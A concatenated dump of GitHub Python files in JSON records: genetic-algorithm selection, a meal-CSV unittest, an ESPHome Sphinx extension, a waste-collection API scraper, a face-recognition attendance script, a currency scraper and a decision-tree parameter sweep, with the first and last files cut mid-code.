fitness vector, mutated offspring & fitness vector, populations sizes\n#E: pop_r,qual_r - selected population, fitness vector\n\ndef genitor(pop_c,qual_c,pop_mo,qual_mo,dim,dimc):\n pops,quals=sort_pop(pop_c,qual_c)\n pop=pops.copy()\n qual=quals.copy()\n for i in range(dimc):\n pop[i]=pop_mo[i].copy()\n qual[i]=qual_mo[i]\n newp=np.random.permutation(dim)\n pop_r=pop[newp]\n qual_r=qual[newp]\n return pop_r,qual_r\n\n#DETERMINISTIC FITNESS BASED SELECTION\n\n#I: pop_c,qual_c,pop_mo,qual_mo, dim, L - current population & fitness vector, mutated offspring & fitness vector, populations sizes\n#E: pop_r,qual_r - selected population, fitness vector\n\ndef sel_det(pop_c,qual_c,pop_mo,qual_mo,dim,L):\n pop=np.append(pop_c,pop_mo)\n pop.resize(2*dim,L)\n qual=np.append(qual_c,qual_mo)\n p,q=sort_pop(pop, qual)\n pop_1=p[dim:2*dim].copy()\n qual_1=q[dim:2*dim].copy()\n newp = np.random.permutation(dim)\n pop_r = pop_1[newp]\n qual_r = qual_1[newp]\n return pop_r,qual_r","repo_name":"andreea-burada/peag_2022","sub_path":"courses/GA_Transport/GA_Transport/Selection.py","file_name":"Selection.py","file_ext":"py","file_size_in_byte":5709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23962173870","text":"import unittest\nimport os\nfrom models.meal import Meal\nfrom utils.loggerX import Logger\nfrom utils.meal_csv_handler import MealCSVHandler\nfrom utils.constants import *\n\nlogger = Logger(__name__)\n\nclass TestMealCSVHandler(unittest.TestCase):\n '''Test the MealCSVHandler class.'''\n def setUp(self):\n self.test_csv_file = TEST_MEALS_CSV_FILE\n self.meals = [\n Meal(\"Beef and Broccoli Stir-Fry\",\n [\"beef\", \"broccoli\", \"onion\",\n \"garlic\", \"soy sauce\", \"oyster sauce\",\n \"honey\", \"jasmine rice\"],\n [\"Thinly slice beef\", \"chop broccoli\", \"mince onion and garlic\"],\n 30,\n \"Monday\"),\n # Add more test meals as needed\n ]\n\n with open(self.test_csv_file, 'w', newline='', encoding=\"UTF-8\") as csvfile:\n csvfile.write(\"name,ingredients,prep_steps,cook_time,protein,day_of_week\\n\")\n for meal in self.meals:\n _n = meal.name\n _i = ';'.join(meal.ingredients)\n _p = ';'.join(meal.prep_steps)\n _c = meal.cook_time\n _o = meal.protein\n _d = meal.day_id\n csvfile.write(f\"{_n},{_i},{_p},{_c},{_o},{_d}\\n\")\n logger.debug(f\"{_n},{_i},{_p},{_c},{_o},{_d}\\n\")\n\n def tearDown(self):\n os.remove(self.test_csv_file)\n\n def test_load_from_csv(self):\n '''Test the load_from_csv method.'''\n loaded_meals = MealCSVHandler.load_from_csv(self.test_csv_file)\n self.assertEqual(len(loaded_meals), len(self.meals))\n for meal, loaded_meal in zip(self.meals, loaded_meals):\n self.assertEqual(meal.name, loaded_meal.name)\n self.assertEqual(meal.ingredients, loaded_meal.ingredients)\n self.assertEqual(meal.prep_steps, loaded_meal.prep_steps)\n self.assertEqual(meal.cook_time, loaded_meal.cook_time)\n self.assertEqual(meal.protein, loaded_meal.protein)\n self.assertEqual(meal.day_id, loaded_meal.day_id)\n\n def test_save_to_csv(self):\n '''Test the save_to_csv method.'''\n saved_csv_file = TEST_SAVED_MEALS_CSV_FILE\n MealCSVHandler.save_to_csv(self.meals, saved_csv_file)\n\n with open(saved_csv_file, 'r', encoding=\"UTF-8\") as csvfile:\n lines = csvfile.readlines()\n\n self.assertEqual(len(lines), len(self.meals) + 1) # header + meal lines\n\n os.remove(saved_csv_file)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"mgarcia4609/AI-La-Carte","sub_path":"tests/test_meal_csv_handler.py","file_name":"test_meal_csv_handler.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1310453150","text":"import csv\nfrom itertools import zip_longest\nimport os\nimport re\nimport string\n\nfrom docutils import nodes, utils\nfrom docutils.parsers.rst import directives\nfrom docutils.parsers.rst.directives.tables import Table\n\n\ndef libpr_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n ref = \"https://github.com/esphome/esphome-core/pull/{}\".format(text)\n return [make_link_node(rawtext, \"core#{}\".format(text), ref, options)], []\n\n\ndef yamlpr_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n ref = \"https://github.com/esphome/esphome/pull/{}\".format(text)\n return [make_link_node(rawtext, \"esphome#{}\".format(text), ref, options)], []\n\n\ndef docspr_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n ref = \"https://github.com/esphome/esphome-docs/pull/{}\".format(text)\n return [make_link_node(rawtext, \"docs#{}\".format(text), ref, options)], []\n\n\ndef ghuser_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n ref = \"https://github.com/{}\".format(text)\n return [make_link_node(rawtext, \"@{}\".format(text), ref, options)], []\n\n\nvalue_re = re.compile(r\"^(.*)\\s*<(.*)>$\")\nDOXYGEN_LOOKUP = {}\nfor s in string.ascii_lowercase + string.digits:\n DOXYGEN_LOOKUP[s] = s\nfor s in string.ascii_uppercase:\n DOXYGEN_LOOKUP[s] = \"_{}\".format(s.lower())\nDOXYGEN_LOOKUP[\":\"] = \"_1\"\nDOXYGEN_LOOKUP[\"_\"] = \"__\"\nDOXYGEN_LOOKUP[\".\"] = \"_8\"\n\n\ndef split_text_value(value):\n match = value_re.match(value)\n if match is None:\n return None, value\n return match.group(1), match.group(2)\n\n\ndef encode_doxygen(value):\n value = value.split(\"/\")[-1]\n try:\n return \"\".join(DOXYGEN_LOOKUP[s] for s in value)\n except KeyError:\n raise ValueError(\"Unknown character in doxygen string! '{}'\".format(value))\n\n\ndef apiref_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n text, value = split_text_value(text)\n if text is None:\n text = \"API Reference\"\n ref = \"/api/{}.html\".format(encode_doxygen(value))\n return [make_link_node(rawtext, text, ref, options)], []\n\n\ndef apiclass_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n text, value = split_text_value(text)\n if text is None:\n text = value\n ref = \"/api/classesphome_1_1{}.html\".format(encode_doxygen(value))\n return [make_link_node(rawtext, text, ref, options)], []\n\n\ndef apistruct_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n text, value = split_text_value(text)\n if text is None:\n text = value\n ref = \"/api/structesphome_1_1{}.html\".format(encode_doxygen(value))\n return [make_link_node(rawtext, text, ref, options)], []\n\n\ndef ghedit_role(name, rawtext, text, lineno, inliner, options=None, content=None):\n path = os.path.relpath(\n inliner.document.current_source, inliner.document.settings.env.app.srcdir\n )\n ref = \"https://github.com/esphome/esphome-docs/blob/current/{}\".format(path)\n return [make_link_node(rawtext, \"Edit this page on GitHub\", ref, options)], []\n\n\ndef make_link_node(rawtext, text, ref, options=None):\n options = options or {}\n node = nodes.reference(rawtext, utils.unescape(text), refuri=ref, **options)\n return node\n\n\n# https://stackoverflow.com/a/3415150/8924614\ndef grouper(n, iterable, fillvalue=None):\n \"\"\"Pythonic way to iterate over sequence, 4 items at a time.\n\n grouper(3, 'ABCDEFG', 'x') --> ABC DEF Gxx\n \"\"\"\n args = [iter(iterable)] * n\n return zip_longest(fillvalue=fillvalue, *args)\n\n\n# Based on https://www.slideshare.net/doughellmann/better-documentation-through-automation-creating-docutils-sphinx-extensions\nclass ImageTableDirective(Table):\n\n option_spec = {\n \"columns\": directives.positive_int,\n }\n\n def run(self):\n cols = self.options.get(\"columns\", 3)\n\n items = []\n\n data = list(csv.reader(self.content))\n for row in data:\n if not row:\n continue\n name, page, image = row[0:3]\n link = page.strip()\n if link.startswith(\"http\"):\n pass\n else:\n if not link.startswith(\"/\"):\n link = \"/{}\".format(link)\n if \".html\" not in link:\n link += \".html\"\n category = None\n dark_invert = False\n if len(row) == 4:\n if row[3].strip() == \"dark-invert\":\n dark_invert = True\n else:\n category = row[3].strip()\n if len(row) == 5 and row[4].strip() == \"dark-invert\":\n dark_invert = True\n items.append(\n {\n \"name\": name.strip(),\n \"link\": link,\n \"image\": \"/images/{}\".format(image.strip()),\n \"category\": category,\n \"dark_invert\": dark_invert,\n }\n )\n\n title, messages = self.make_title()\n table = nodes.table()\n table[\"classes\"].append(\"table-center\")\n table[\"classes\"].append(\"colwidths-given\")\n\n # Set up column specifications based on widths\n tgroup = nodes.tgroup(cols=cols)\n table += tgroup\n tgroup.extend(nodes.colspec(colwidth=1) for _ in range(cols))\n\n tbody = nodes.tbody()\n tgroup += tbody\n rows = []\n for value in grouper(cols, items):\n trow = nodes.row()\n for cell in value:\n entry = nodes.entry()\n if cell is None:\n entry += nodes.paragraph()\n trow += entry\n continue\n name = cell[\"name\"]\n link = cell[\"link\"]\n image = cell[\"image\"]\n reference_node = nodes.reference(refuri=link)\n img = nodes.image(uri=directives.uri(image), alt=name)\n img[\"classes\"].append(\"component-image\")\n if cell[\"dark_invert\"]:\n img[\"classes\"].append(\"dark-invert\")\n reference_node += img\n para = nodes.paragraph()\n para += reference_node\n entry += para\n trow += entry\n rows.append(trow)\n\n trow = nodes.row()\n for cell in value:\n entry = nodes.entry()\n if cell is None:\n entry += nodes.paragraph()\n trow += entry\n continue\n name = cell[\"name\"]\n link = cell[\"link\"]\n ref = nodes.reference(name, name, refuri=link)\n para = nodes.paragraph()\n para += ref\n entry += para\n cat_text = cell[\"category\"]\n if cat_text:\n cat = nodes.paragraph(text=cat_text)\n entry += cat\n trow += entry\n rows.append(trow)\n tbody.extend(rows)\n\n self.add_name(table)\n if title:\n table.insert(0, title)\n\n return [table] + messages\n\n\nclass PinTableDirective(Table):\n option_spec = {}\n\n def run(self):\n items = []\n\n data = list(csv.reader(self.content))\n for row in data:\n if not row:\n continue\n if len(row) == 3:\n items.append((row[0], row[1], True))\n else:\n items.append((row[0], row[1], False))\n\n col_widths = self.get_column_widths(2)\n title, messages = self.make_title()\n table = nodes.table()\n\n # Set up column specifications based on widths\n tgroup = nodes.tgroup(cols=2)\n table += tgroup\n tgroup.extend(nodes.colspec(colwidth=col_width) for col_width in col_widths)\n\n thead = nodes.thead()\n tgroup += thead\n trow = nodes.row()\n thead += trow\n trow.extend(\n nodes.entry(h, nodes.paragraph(text=h)) for h in (\"Pin\", \"Function\")\n )\n\n tbody = nodes.tbody()\n tgroup += tbody\n for name, func, important in items:\n trow = nodes.row()\n entry = nodes.entry()\n para = nodes.paragraph()\n para += nodes.literal(text=name)\n entry += para\n trow += entry\n\n entry = nodes.entry()\n if important:\n para = nodes.paragraph()\n para += nodes.strong(text=func)\n else:\n para = nodes.paragraph(text=func)\n entry += para\n trow += entry\n tbody += trow\n\n self.add_name(table)\n if title:\n table.insert(0, title)\n\n return [table] + messages\n\n\ndef setup(app):\n app.add_role(\"libpr\", libpr_role)\n app.add_role(\"corepr\", libpr_role)\n app.add_role(\"yamlpr\", yamlpr_role)\n app.add_role(\"esphomepr\", yamlpr_role)\n app.add_role(\"docspr\", docspr_role)\n app.add_role(\"ghuser\", ghuser_role)\n app.add_role(\"apiref\", apiref_role)\n app.add_role(\"apiclass\", apiclass_role)\n app.add_role(\"apistruct\", apistruct_role)\n app.add_role(\"ghedit\", ghedit_role)\n app.add_directive(\"imgtable\", ImageTableDirective)\n app.add_directive(\"pintable\", PinTableDirective)\n return {\"version\": \"1.0.0\", \"parallel_read_safe\": True, \"parallel_write_safe\": True}\n","repo_name":"esphome/esphome-docs","sub_path":"github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":9400,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"37"} +{"seq_id":"4065666884","text":"# coding = utf-8\n'''\nCreated on 2016年10月30日\n@author: 陈应龙\n'''\n\ndef discounts(price,rate):\n\tfinal_price = price*rate\n\t#在局部变量中可以调用全局变量\n\t#print('试图打印局部变量old_price的值:',old_price)\n\t#这里是在这个函数体里新建了一个old_price的新变量,存储位置和外面的那个old_price不同,相同名字但是不同变量,函数体全部存储在一个堆栈里,外面的变量作用域比里面要大。\n\told_price = 50\n\tprint('修改后old_price的值是1:',old_price)\n\treturn final_price\n\nold_price = float(input('请输入原价:'))\nrate = float(input('请输入折扣率:'))\nnew_price = discounts(old_price,rate)\nprint('修改后old_price的值是2:',old_price)\nprint('打折后价格是:',new_price)\n#执行下面这句话会报错,final_price这变量只在函数调用范围\n#print('试图打印局部变量final_price的值',final_price)","repo_name":"ChenYingLong2016/basis","sub_path":"src/basis/variable0.py","file_name":"variable0.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5426868685","text":"import yaml\nimport random\n\nimport numpy as np\nfrom numpy.random import default_rng\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom yacs.config import CfgNode as CN\nimport torch\n\n\ndef set_seed(seed, fully_deterministic=True):\n np.random.seed(seed)\n random.seed(seed)\n torch.manual_seed(seed)\n if torch.cuda.is_available():\n torch.cuda.manual_seed_all(seed)\n if fully_deterministic:\n torch.backends.cudnn.deterministic = True\n\n\ndef get_date_time_str(add_hash=True):\n now = datetime.now()\n return_str = 'date_%s_time_%s' % (now.strftime('%d_%m_%Y'), now.strftime('%H_%M'))\n if add_hash:\n return_str = '%s_hash_%s' % (return_str, now.strftime('%f'))\n return return_str\n\n\ndef save_config(config, path):\n def convert_config_to_dict(cfg_node, key_list):\n if not isinstance(cfg_node, CN):\n return cfg_node\n\n cfg_dict = dict(cfg_node)\n for k, v in cfg_dict.items():\n cfg_dict[k] = convert_config_to_dict(v, key_list + [k])\n return cfg_dict\n\n with open(path, 'w') as f:\n yaml.dump(convert_config_to_dict(config, []), f, default_flow_style=False)\n\n\ndef show_3d_fig(x, t, y, title=None):\n fig = plt.figure()\n ax = plt.axes(projection='3d')\n X, T = np.meshgrid(x, t)\n ax.plot_surface(X, T, y, cmap='viridis')\n plt.xlabel('x')\n plt.ylabel('t')\n if title is not None:\n plt.title(title)\n plt.show()\n\n\ndef print_model_size(model, name=''):\n total_params = sum(p.numel() for p in model.parameters())\n if total_params // 1_000_000_000 > 1:\n print(f\"Model {name} created with {total_params / 1_000_000_000:.2f}B parameters.\")\n elif total_params // 1_000_000 > 1:\n print(f\"Model {name} created with {total_params / 1_000_000:.2f}M parameters.\")\n elif total_params // 1_000 > 1:\n print(f\"Model {name} created with {total_params / 1_000:.2f}K parameters.\")\n else:\n print(f\"Model {name} created with {total_params} parameters.\")\n","repo_name":"orilinial/CONFIDE","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"74146104748","text":"# Credit where it's due:\n# This is predominantly a refactoring of the Bristol City Council script from the UKBinCollectionData repo\n# https://github.com/robbrad/UKBinCollectionData\n\nfrom datetime import datetime\n\nimport requests\nfrom waste_collection_schedule import Collection # type: ignore[attr-defined]\n\nTITLE = \"Bristol City Council\"\nDESCRIPTION = \"Source for bristol.gov.uk services for Bristol City Council, UK.\"\nURL = \"https://bristol.gov.uk\"\n\nTEST_CASES = {\n \"Test_001\": {\"uprn\": \"107652\"},\n \"Test_002\": {\"uprn\": \"2987\"},\n \"Test_003\": {\"uprn\": 17929},\n}\nICON_MAP = {\n \"90L BLUE SACK\": \"mdi:recycle\",\n \"240L GARDEN WASTE BIN\": \"mdi:leaf\",\n \"180L GENERAL WASTE\": \"mdi:trash-can\",\n \"45L BLACK RECYCLING BOX\": \"mdi:recycle\",\n \"23L FOOD WASTE BIN\": \"mdi:food\",\n \"55L GREEN RECYCLING BOX\": \"mdi:recycle\",\n}\nHEADERS = {\n \"Accept\": \"*/*\",\n \"Accept-Language\": \"en-GB,en;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Ocp-Apim-Subscription-Key\": \"47ffd667d69c4a858f92fc38dc24b150\",\n \"Ocp-Apim-Trace\": \"true\",\n \"Origin\": \"https://bristolcouncil.powerappsportals.com\",\n \"Referer\": \"https://bristolcouncil.powerappsportals.com/\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"cross-site\",\n \"Sec-GPC\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\",\n}\n\n\nclass Source:\n def __init__(self, uprn):\n self._uprn = str(uprn).zfill(12)\n\n def fetch(self):\n\n s = requests.Session()\n\n # Initialise form\n payload = {\"servicetypeid\": \"7dce896c-b3ba-ea11-a812-000d3a7f1cdc\"}\n response = s.get(\n \"https://bristolcouncil.powerappsportals.com/completedynamicformunauth/\",\n headers=HEADERS,\n params=payload,\n )\n\n # Set the search criteria\n payload = {\"Uprn\": \"UPRN\" + self._uprn}\n response = s.post(\n \"https://bcprdapidyna002.azure-api.net/bcprdfundyna001-llpg/DetailedLLPG\",\n headers=HEADERS,\n json=payload,\n )\n\n # Retrieve the schedule\n payload = {\"uprn\": self._uprn}\n response = s.post(\n \"https://bcprdapidyna002.azure-api.net/bcprdfundyna001-alloy/NextCollectionDates\",\n headers=HEADERS,\n json=payload,\n )\n data = response.json()[\"data\"]\n\n entries = []\n for item in data:\n for collection in item[\"collection\"]:\n for collection_date_key in [\"nextCollectionDate\", \"lastCollectionDate\"]:\n date_string = collection[collection_date_key].replace(\n \"T00:00:00\", \"\"\n )\n entries.append(\n Collection(\n date=datetime.strptime(\n date_string,\n \"%Y-%m-%d\",\n ).date(),\n t=item[\"containerName\"],\n icon=ICON_MAP.get(item[\"containerName\"].upper()),\n )\n )\n\n return entries\n","repo_name":"mampfes/hacs_waste_collection_schedule","sub_path":"custom_components/waste_collection_schedule/waste_collection_schedule/source/bristol_gov_uk.py","file_name":"bristol_gov_uk.py","file_ext":"py","file_size_in_byte":3180,"program_lang":"python","lang":"en","doc_type":"code","stars":559,"dataset":"github-code","pt":"37"} +{"seq_id":"72812722668","text":"from math import sin, cos, sqrt\nfrom time import time\n\nPOINTS = 10000000\n\n\nclass Point:\n x: float\n y: float\n z: float\n\n def __init__(self, i):\n self.x = x = sin(i)\n self.y = cos(i) * 3\n self.z = (x * x) / 2\n\n def __repr__(self):\n return f\"\"\n\n def normalize(self):\n x = self.x\n y = self.y\n z = self.z\n norm = sqrt(x * x + y * y + z * z)\n self.x /= norm\n self.y /= norm\n self.z /= norm\n\n def maximize(self, other):\n self.x = self.x if self.x > other.x else other.x\n self.y = self.y if self.y > other.y else other.y\n self.z = self.z if self.z > other.z else other.z\n return self\n\n\ndef maximize(points):\n next = points[0]\n for p in points[1:]:\n next = next.maximize(p)\n return next\n\n\ndef benchmark(n):\n points = [None] * n\n for i in range(n):\n points[i] = Point(i)\n for p in points:\n p.normalize()\n return maximize(points)\n\n\nt0 = time()\nprint(benchmark(POINTS))\nt1 = time()\nprint(t1 - t0)\n","repo_name":"exaloop/codon","sub_path":"bench/float/float.py","file_name":"float.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":13451,"dataset":"github-code","pt":"37"} +{"seq_id":"27989090421","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 7 20:51:20 2020\n\n@author: djkim9031\n\"\"\"\n\n\nimport cv2, time\nimport numpy as np\nimport face_recognition\nimport imutils\nimport os\nfrom threading import Thread\nfrom datetime import datetime\n\npath = 'attendance/data'\nimages = []\nclassNames = []\nmyList = os.listdir(path)\n\nfor cl in myList:\n if cl.endswith('.jpg'):\n curImg = cv2.imread(f'{path}/{cl}')\n images.append(curImg)\n classNames.append(os.path.splitext(cl)[0])\n\n\ndef findEncodings(images):\n encodeList = []\n for img in images:\n img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n encode = face_recognition.face_encodings(img)[0]\n encodeList.append(encode)\n \n return encodeList\n\ndef markAttendance(name):\n with open('attendance/info.csv','r+') as f:\n myDataList = f.readlines()\n nameList = []\n\n for line in myDataList:\n entry = line.split(',')\n nameList.append(entry[0])\n if name not in nameList:\n now = datetime.now()\n dateString = now.strftime('%H:%M:%S')\n f.writelines(f'\\n{name},{dateString}')\n \n \nencodeListKnown = findEncodings(images)\nprint('Encoding Complete')\n\nclass ThreadedCamera(object):\n def __init__(self, src=0):\n self.count = 0\n self.capture = cv2.VideoCapture(src)\n self.capture.set(cv2.CAP_PROP_BUFFERSIZE, 2)\n\n # FPS = 1/X\n # X = desired FPS\n self.FPS = 1/30\n self.FPS_MS = int(self.FPS * 1000)\n\n # Start frame retrieval thread\n self.thread = Thread(target=self.update, args=())\n self.thread.daemon = True\n self.thread.start()\n\n def update(self):\n while True:\n if self.capture.isOpened():\n (self.status, self.frame) = self.capture.read()\n #self.frame = cv2.cvtColor(self.frame, cv2.COLOR_BGR2RGB)\n \n faceFrame = face_recognition.face_locations(self.frame)\n encodeFrame = face_recognition.face_encodings(self.frame,faceFrame)\n \n for encodeFace, faceLoc in zip(encodeFrame,faceFrame):\n matches = face_recognition.compare_faces(encodeListKnown, encodeFace)\n faceDistance = face_recognition.face_distance(encodeListKnown, encodeFace)\n matchIdx = np.argmin(faceDistance)\n \n if matches[matchIdx]:\n name = classNames[matchIdx].upper()\n markAttendance(name)\n cv2.rectangle(self.frame,(faceLoc[1],faceLoc[2]),(faceLoc[3],faceLoc[0]),(0,0,255),2)\n cv2.putText(self.frame,f'{name}',(faceLoc[3],faceLoc[0]+10),cv2.FONT_HERSHEY_SIMPLEX,1,(0,255,0),2)\n \n\n time.sleep(self.FPS)\n\n def show_frame(self):\n cv2.imshow('Trailer', self.frame)\n cv2.waitKey(self.FPS_MS)\n\nthreaded_camera = ThreadedCamera('attendance/trailer.mov')\nwhile True:\n try:\n threaded_camera.show_frame()\n #pass\n except AttributeError:\n pass\n\n","repo_name":"djkim9031/FaceRecognition","sub_path":"Recognition.py","file_name":"Recognition.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12903653814","text":"import pyxel\n\n\nclass App:\n \n def draw(self):\n pyxel.cls(0)\n pyxel.text(55, 41, \"Hello, Pyxel!\", pyxel.frame_count % 16)\n pyxel.blt(61, 66, 0, 0, 0, 38, 16)\n\n\nApp()\n","repo_name":"xukongwen/learnpython","sub_path":"example/pyxel_examples/hi1.py","file_name":"hi1.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27106361543","text":"#4.Write a program that converts some amount of money from USD to BYN, the amount and ratio are given.\nfrom bs4 import BeautifulSoup \nfrom urllib.request import urlopen \n\nweb_page = urlopen('https://myfin.by/bank/kursy_valjut_nbrb')\nsoup = BeautifulSoup(web_page)\ntags = soup.find_all('td')\nCurr = float(tags[1].text)\nUsdAmount = float(input(\"How many USD do you want to convert?:\"))\nBynAmount = round((UsdAmount * Curr), 4)\n\nprint(f\"{UsdAmount} USD is {BynAmount} BYN\") \n","repo_name":"MikitaTsiarentsyeu/Md-PT1-61-23","sub_path":"Tasks/Nikiforov/Task1/Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23217006150","text":"def input_d():\n print('импорт будет осуществляться:\\n1. вручную\\n2. с файла')\n inp = int(input())\n name = ''\n tel = ''\n wrote = ''\n if inp == 1: # вручную\n data = input('введите данные: ')\n if data.find(',') == -1: # на одной строке хранится одна часть записи\n count = 1\n while count != 4:\n if count == 1:\n print(f'Фамилия - {data}')\n name = input('введите имя - ')\n print()\n count += 1\n elif count == 2:\n print(f'Фамилия - {data}\\nИмя - {name}')\n tel = input('введите телефон - ')\n print()\n count += 1\n elif count == 3:\n print(f'Фамилия - {data}\\nИмя - {name}\\nТелефон - {tel}')\n wrote = input('введите описание - ') + '\\n'\n print()\n count += 1\n print(f'Фамилия - {data}\\nИмя - {name}\\nТелефон - {tel}\\nОписание - {wrote}')\n data = data + '\\n' + name + '\\n' + tel + '\\n' + wrote + '\\n'\n with open('input_data.txt', 'a', encoding='utf-8') as f:\n f.write(data)\n else: # на одной строке хранятся все записи\n data += ';\\n'\n print(f'добавлена запись - {data}')\n with open('input_data_str.txt', 'a', encoding='utf-8') as f:\n f.write(data)\n\n else: # с файла\n with open('data_str.txt', 'r', encoding='utf-8') as file:\n for data in file:\n if data.find(',') == -1:\n print(data.replace('\\n', ''))\n with open('input_data.txt', 'a', encoding='utf-8') as f:\n f.write(data)\n else:\n print(data.replace('\\n', ';'))\n data = data.replace('\\n', ';\\n')\n with open('input_data_str.txt', 'a', encoding='utf-8') as f:\n f.write(data)\n\n\nif __name__ == \"__main__\":\n input_d()\n","repo_name":"region4263/python","sub_path":"Nurmashov_Sergey_dz_7/_inputdata.py","file_name":"_inputdata.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4081976290","text":"from sklearn.tree import DecisionTreeClassifier\nimport numpy as np\n\n# ————导入数据————\ndevice_no = 1\nfeature_matrix = np.load('feature_matrixs/feature_matrix'+str(device_no)+'.npy')\nlabel_matrix = np.load('feature_matrixs/label_matrix'+str(device_no)+'.npy')\n\n# 划分训练集和测试集\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(\n feature_matrix, label_matrix, test_size=0.25, random_state=0)\n\ndef DecisionTreeClassifiter_param(*data, param_name, param_value):\n X_train, X_test, y_train, y_test = data\n if(param_name==\"min_samples_split\"):\n param_values = np.arange(2, param_value)\n elif(param_name==\"min_impurity_decrease\"):\n param_values = np.arange(0, 1, 0.1)\n elif(param_name == \"max_features\"):\n n_features = X_train.shape[1]\n param_values = np.arange(1, n_features+1)\n else:\n param_values = np.arange(1, param_value)\n training_scores = []\n testing_scores = []\n for value in param_values:\n # param = param_name + '=' + str(value)\n # print(param)\n # clf = DecisionTreeClassifier(param)\n if(param_name==\"max_depth\"):\n clf = DecisionTreeClassifier(max_depth=value,random_state=0)\n elif(param_name==\"min_samples_split\"):\n clf = DecisionTreeClassifier(min_samples_split=value,random_state=0)\n elif(param_name==\"min_samples_leaf\"):\n clf = DecisionTreeClassifier(min_samples_leaf=value,random_state=0)\n elif (param_name == \"max_leaf_nodes\"):\n clf = DecisionTreeClassifier(min_samples_leaf=value,random_state=0)\n elif(param_name == \"min_impurity_decrease\"):\n clf = DecisionTreeClassifier(min_impurity_decrease=value,random_state=0)\n elif(param_name == \"max_features\"):\n clf = DecisionTreeClassifier(max_features=value, random_state=0)\n clf.fit(X_train, y_train)\n training_scores.append(clf.score(X_train, y_train))\n testing_scores.append(clf.score(X_test, y_test))\n # 绘图\n from matplotlib import pyplot as plt\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.plot(param_values, training_scores, label='traing score', marker='o')\n ax.plot(param_values, testing_scores, label='testing score', marker='*')\n ax.set_xlabel(param_name)\n ax.set_ylim(0, 1.1)\n ax.set_ylabel('score')\n ax.set_title('Score of different '+param_name)\n ax.legend(framealpha=0.5, loc='best')\n\n max_indx = np.argmax(training_scores) # max value index\n min_indx = np.argmin(training_scores) # min value index\n plt.plot(max_indx, training_scores[max_indx], 'ks', color=\"r\")\n show_max = '[' + str(max_indx) + ', ' + str(training_scores[max_indx]) + ']'\n plt.annotate(show_max, xytext=(max_indx, training_scores[max_indx]+0.05),\n xy=(max_indx, training_scores[max_indx]), color=\"r\")\n\n max_indx = np.argmax(testing_scores) # max value index\n min_indx = np.argmin(testing_scores) # min value index\n plt.plot(max_indx, testing_scores[max_indx], 'ks', color=\"r\")\n show_max = '[' + str(max_indx) + ', ' + str(round(testing_scores[max_indx],2)) + ']'\n plt.annotate(show_max, xytext=(max_indx, testing_scores[max_indx] - 0.05),\n xy=(max_indx, testing_scores[max_indx]), color=\"r\")\n\n plt.show()\n# param_names = [\"max_depth\",\"min_samples_split\",\"min_samples_leaf\",\"max_leaf_nodes\"]\n# param_names = [\"min_impurity_split\"] #will be removed in 0.25\n# param_names = [\"min_impurity_decrease\"]\n# param_names = [\"max_features\"]\nparam_names = [\"max_depth\"]\nfor param_name in param_names:\n DecisionTreeClassifiter_param(X_train, X_test, y_train, y_test,\n param_name=param_name, param_value=50)\n\n\n# -----单独方法验证------\n# 考察深度对分类决策树的影响\ndef DecisionTreeClassifiter_depth(*data, maxdepth):\n X_train, X_test, y_train, y_test = data\n depths = np.arange(1, maxdepth)\n training_scores = []\n testing_scores = []\n for depth in depths:\n clf = DecisionTreeClassifier(max_depth=depth)\n clf.fit(X_train, y_train)\n training_scores.append(clf.score(X_train, y_train))\n testing_scores.append(clf.score(X_test, y_test))\n # 绘图\n from matplotlib import pyplot as plt\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.plot(depths, training_scores, label='traing score', marker='o')\n ax.plot(depths, testing_scores, label='testing score', marker='*')\n ax.set_xlabel('maxdepth')\n ax.set_ylabel('score')\n ax.set_title('Decision Tree Classification')\n ax.legend(framealpha=0.5, loc='best')\n plt.show()\n# DecisionTreeClassifiter_depth(X_train, X_test, y_train, y_test, maxdepth=20)\n\n# 考察min_samples_split对分类决策树的影响\ndef DecisionTreeClassifiter_split(*data, min_samples_split):\n X_train, X_test, y_train, y_test = data\n splits = np.arange(2, min_samples_split)\n training_scores = []\n testing_scores = []\n for split in splits:\n clf = DecisionTreeClassifier(min_samples_split=split)\n clf.fit(X_train, y_train)\n 